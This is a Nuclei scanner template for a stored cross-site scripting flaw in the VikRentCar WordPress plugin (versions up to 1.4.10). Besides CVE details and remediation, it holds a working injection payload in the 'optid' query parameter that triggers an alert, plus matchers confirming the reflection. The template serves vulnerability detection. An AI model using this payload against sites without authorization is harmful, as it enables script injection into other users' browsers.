id: CVE-2026-116548

info:
  name: VikRentCar <= 1.4.10 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'optionals' parameter in all versions up to, and including, 1.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to the latest version beyond 1.4.10.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c6813d20-ed4e-4cd0-9fe2-dd1f21683ef4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116548
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-116548
    epss-score: 0.00524
    epss-percentile: 0.44768
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: e4j
    product: vikrentcar
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,vikrentcar,xss,vkev

variables:
  oid: "1"

flow: http(1) && http(2)

http:

  - raw:
      - |
        GET /rental/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "com_vikrentcar") || contains(to_lower(body), "/plugins/vikrentcar/")'
        condition: and
        internal: true

  - raw:
      - |
        GET /rental/?task=oconfirm&carid=1&days=1&pickup={{unix_time()+86400}}&release={{unix_time()+172800}}&priceid=1&place=1&returnplace=1&optid{{oid}}=1%22%20onfocus%3D%22alert(document.domain)%22%20autofocus%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="optionals" value="'
          - 'onfocus="alert(document.domain)" autofocus'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ca78bf97a372d153c2fbbad223ecf5c28129b90afc63d32bfdbb4296084e8c4c022100d0c960c30467634f0ec3a857cfcb720318135d84fb619550ef860b359509d2d8:922c64590222798bb761d5b6d8e72950